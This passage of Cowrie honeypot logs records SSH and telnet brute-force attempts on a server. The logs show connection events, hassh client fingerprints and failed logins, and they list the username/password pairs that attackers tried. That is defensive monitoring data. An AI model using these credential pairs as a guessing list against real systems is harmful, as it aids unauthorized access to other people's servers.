sh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:39:28.188944Z","src_ip":"159.203.92.129","session":"8ce38e63bd50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"welcome@123","message":"login attempt [admin/welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:39:28.200931Z","src_ip":"159.203.92.129","session":"8ce38e63bd50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:39:29.206849Z","src_ip":"159.203.92.129","session":"8ce38e63bd50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46986,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c5f996119cd","protocol":"ssh","message":"New connection: 159.203.92.129:46986 (159.203.135.109:22) [session: 2c5f996119cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:40:14.039776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:40:14.046376Z","src_ip":"159.203.92.129","session":"2c5f996119cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:40:14.057362Z","src_ip":"159.203.92.129","session":"2c5f996119cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"wenjh999","message":"login attempt [admin/wenjh999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:40:14.093297Z","src_ip":"159.203.92.129","session":"2c5f996119cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:40:15.116710Z","src_ip":"159.203.92.129","session":"2c5f996119cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44620,"dst_ip":"159.203.135.109","dst_port":22,"session":"91151c3ab9a8","protocol":"ssh","message":"New connection: 159.203.92.129:44620 (159.203.135.109:22) [session: 91151c3ab9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:40:58.773736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:40:58.777581Z","src_ip":"159.203.92.129","session":"91151c3ab9a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:40:58.781454Z","src_ip":"159.203.92.129","session":"91151c3ab9a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"wgkTHU123","message":"login attempt [admin/wgkTHU123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:40:58.790389Z","src_ip":"159.203.92.129","session":"91151c3ab9a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:40:59.794980Z","src_ip":"159.203.92.129","session":"91151c3ab9a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59490,"dst_ip":"159.203.135.109","dst_port":22,"session":"25e20075739a","protocol":"ssh","message":"New connection: 159.203.92.129:59490 (159.203.135.109:22) [session: 25e20075739a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:41:43.363627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:41:43.368487Z","src_ip":"159.203.92.129","session":"25e20075739a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:41:43.373050Z","src_ip":"159.203.92.129","session":"25e20075739a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"wjh","message":"login attempt [admin/wjh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:41:43.385139Z","src_ip":"159.203.92.129","session":"25e20075739a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:41:44.390797Z","src_ip":"159.203.92.129","session":"25e20075739a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48162,"dst_ip":"159.203.135.109","dst_port":22,"session":"937718f0ea4d","protocol":"ssh","message":"New connection: 159.203.92.129:48162 (159.203.135.109:22) [session: 937718f0ea4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:42:28.514793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:42:28.519748Z","src_ip":"159.203.92.129","session":"937718f0ea4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:42:28.523707Z","src_ip":"159.203.92.129","session":"937718f0ea4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"wjwj9595","message":"login attempt [admin/wjwj9595] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:42:28.533616Z","src_ip":"159.203.92.129","session":"937718f0ea4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:42:29.539480Z","src_ip":"159.203.92.129","session":"937718f0ea4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":56986,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca6f61430578","protocol":"telnet","message":"New connection: 49.88.156.34:56986 (10.17.0.5:23) [session: ca6f61430578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:42:40.185797Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41986,"dst_ip":"159.203.135.109","dst_port":22,"session":"a45cb101b663","protocol":"ssh","message":"New connection: 159.203.92.129:41986 (159.203.135.109:22) [session: a45cb101b663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:13.579731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:13.584778Z","src_ip":"159.203.92.129","session":"a45cb101b663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:13.589830Z","src_ip":"159.203.92.129","session":"a45cb101b663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"wuxianghui","message":"login attempt [admin/wuxianghui] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:13.602123Z","src_ip":"159.203.92.129","session":"a45cb101b663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:14.612268Z","src_ip":"159.203.92.129","session":"a45cb101b663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":47131,"dst_ip":"10.17.0.5","dst_port":22,"session":"602a03c16948","protocol":"ssh","message":"New connection: 2.57.121.25:47131 (10.17.0.5:22) [session: 602a03c16948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:49.284587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:49.289263Z","src_ip":"2.57.121.25","session":"602a03c16948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:49.392288Z","src_ip":"2.57.121.25","session":"602a03c16948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gbgbcmrf","message":"login attempt [user/gbgbcmrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:49.878394Z","src_ip":"2.57.121.25","session":"602a03c16948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"garter","message":"login attempt [user/garter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:50.984758Z","src_ip":"2.57.121.25","session":"602a03c16948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"garnett","message":"login attempt [user/garnett] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:52.090882Z","src_ip":"2.57.121.25","session":"602a03c16948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gardens","message":"login attempt [user/gardens] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:53.197160Z","src_ip":"2.57.121.25","session":"602a03c16948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"funky1","message":"login attempt [user/funky1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:54.303195Z","src_ip":"2.57.121.25","session":"602a03c16948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:55.480790Z","src_ip":"2.57.121.25","session":"602a03c16948","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43364,"dst_ip":"159.203.135.109","dst_port":22,"session":"1031b6ccbb4e","protocol":"ssh","message":"New connection: 159.203.92.129:43364 (159.203.135.109:22) [session: 1031b6ccbb4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:58.750548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:58.755473Z","src_ip":"159.203.92.129","session":"1031b6ccbb4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:43:58.760282Z","src_ip":"159.203.92.129","session":"1031b6ccbb4e","protocol":"ssh"}
